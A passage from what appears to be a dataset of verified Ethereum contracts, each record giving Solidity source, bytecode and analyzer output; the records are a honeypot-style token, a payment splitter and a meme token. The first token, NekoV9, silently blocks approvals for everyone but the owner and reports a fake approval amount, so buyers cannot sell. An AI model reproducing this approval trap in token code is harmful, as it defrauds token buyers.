"Ownable: caller is not the owner"); _; } } contract NekoV9 is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100000* 10**9* 10**18; string private _name = 'NekoV9'; string private _symbol = 'NEKOV9'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220164d0fb739668f06210a1b5c630662c4957fc5bb25b754c92364a2f531c89ab864736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,044
0x4c661e3d6bf2bd2222a148d80fccf55ab7137e12
/** *Submitted for verification at Etherscan.io on 2021-06-14 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Splitter is Ownable { using Address for address; address payable private _feeAddress; event splitEvent(address from, address to, uint256 amount, uint256 fee); event donationEvent(address from, uint256 amount); event withdrawEvent(address to, uint256 amount); constructor() { _feeAddress = payable(owner()); } function changeFeeAddress(address newFeeAddress) public onlyOwner { require(newFeeAddress != address(0), "Splitter: wrong fee address"); require( !newFeeAddress.isContract(), "Splitter: fee address can't be a contract address" ); _feeAddress = payable(newFeeAddress); } function split(address payable to, uint256 feePercent) public payable { if (feePercent > 100) feePercent = 100; uint256 change = msg.value % 100; uint256 total = msg.value - change; uint256 fee = (total / 100) * feePercent + change; uint256 value = (total / 100) * (100 - feePercent); if (fee > 0) { // keep in a contract - don't transfer //_feeAddress.transfer(fee); if (value == 0) { emit donationEvent(msg.sender, fee); } } if (value > 0) { to.transfer(value); emit splitEvent(msg.sender, to, value, fee); } } function withdraw() public onlyOwner { uint256 contractBalance = address(this).balance; if (contractBalance > 0) { _feeAddress.transfer(contractBalance); emit withdrawEvent(_feeAddress, contractBalance); } } }
0x6080604052600436106100555760003560e01c8063285e14061461005a5780633ccfd60b1461007c5780635d1e2d1b14610091578063715018a6146100a45780638da5cb5b146100b9578063f2fde38b146100e5575b600080fd5b34801561006657600080fd5b5061007a610075366004610584565b610105565b005b34801561008857600080fd5b5061007a610222565b61007a61009f3660046105a8565b6102d8565b3480156100b057600080fd5b5061007a610426565b3480156100c557600080fd5b50600054604080516001600160a01b039092168252519081900360200190f35b3480156100f157600080fd5b5061007a610100366004610584565b61049a565b6000546001600160a01b031633146101385760405162461bcd60e51b815260040161012f906105d4565b60405180910390fd5b6001600160a01b03811661018e5760405162461bcd60e51b815260206004820152601b60248201527f53706c69747465723a2077726f6e672066656520616464726573730000000000604482015260640161012f565b6001600160a01b0381163b156102005760405162461bcd60e51b815260206004820152603160248201527f53706c69747465723a2066656520616464726573732063616e2774206265206160448201527020636f6e7472616374206164647265737360781b606482015260840161012f565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461024c5760405162461bcd60e51b815260040161012f906105d4565b4780156102d5576001546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561028d573d6000803e3d6000fd5b50600154604080516001600160a01b039092168252602082018390527f87d5f4772963d1f9b76047158b4ae97c420a1b3bff2a746c828beffd9e7c3e26910160405180910390a15b50565b60648111156102e5575060645b60006102f260643461066b565b905060006103008234610654565b905060008284610311606485610621565b61031b9190610635565b6103259190610609565b90506000610334856064610654565b61033f606485610621565b6103499190610635565b9050811561039057806103905760408051338152602081018490527fa0204251377f84a653f4e332e5a5e2289b68df9a5721fb128f0a55578c41f229910160405180910390a15b801561041e576040516001600160a01b0387169082156108fc029083906000818181858888f193505050501580156103cc573d6000803e3d6000fd5b50604080513381526001600160a01b0388166020820152908101829052606081018390527f44dab545852d22184ca08e29820dff7527d7feef977cb96393df508a380579d49060800160405180910390a15b505050505050565b6000546001600160a01b031633146104505760405162461bcd60e51b815260040161012f906105d4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104c45760405162461bcd60e51b815260040161012f906105d4565b6001600160a01b0381166105295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161012f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561059657600080fd5b81356105a1816106ab565b9392505050565b600080604083850312156105bb57600080fd5b82356105c6816106ab565b946020939093013593505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561061c5761061c61067f565b500190565b60008261063057610630610695565b500490565b600081600019048311821515161561064f5761064f61067f565b500290565b6000828210156106665761066661067f565b500390565b60008261067a5761067a610695565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b03811681146102d557600080fdfea26469706673582212201ea4a35ac46e0f0e5184fdcb82d7023378f7bdbb1adbee68176b8028081bffc864736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,045
0xa886b7b9504c4e82127b31e0e57806b43486cb36
//https://t.me/azkabaninu /* Azkaban is the dark fortress hidden from the Muggle world and is truly unplottable! Our meme token will ride on this idea forming our dementors army. We will send dementors around to investigate every token project being reported and imprison the scammers / honey-potters with no mercy. Not even a patronus can shield you from the kiss of our dementors, your soul will be burned and tortured at the deepest level of the Azkaban. Your information will be marked on the wall of Azkaban until the judgment day! Every dementor is a well trained ruthless creature as well as a well trained assassin. The dementors have arrived in the cryptocurrency world and the main mission is to punish every scammer in order to create a better future of the cryptocurrency world for all crypto wizards. Be careful SCAMMERS, and we will see you in Azkaban!. */ //https://t.me/azkabaninu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AZKABANINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "AZKABANINU"; string private constant _symbol = "AZKABANINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000 * 10**9; uint256 public _maxWalletSize = 200000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to]); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 